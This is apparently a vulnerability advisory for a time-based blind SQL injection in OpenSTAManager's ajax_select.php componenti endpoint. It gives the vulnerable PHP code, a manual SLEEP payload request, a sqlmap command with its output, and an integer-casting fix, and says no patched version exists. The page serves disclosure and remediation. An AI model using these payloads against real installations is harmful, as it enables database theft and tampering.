OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)
Summary
A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
Proof of Concept
Vulnerable Code
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Data Flow
- Source:
$_GET['options']['matricola']→$superselect['matricola'] - Vulnerable: User input concatenated directly into
IN()clause without sanitization - Sink: Query executed via AJAX framework
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Impact
- Data Exfiltration: Time-based blind SQL Injection allows complete database extraction
- Authentication Bypass: Access to sensitive component and equipment data
- Data Manipulation: Potential unauthorized modification of records
Remediation
Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Credit
Discovered by: Łukasz Rybak
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | devcode-it/openstamanager | <= 2.9.8 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-89- Platform
- Composer
- Package
devcode-it/openstamanager- Disclosed
- 06.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qjv8-63xq-gq8m - CC BY 4.0
Vulnerability history: devcode-it/openstamanager
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 18
- First → latest
- 11.2025 08.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 14
- Medium 1
- Low 1
Disclosures per year
- 2025: 1
- 2026: 17
-
OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.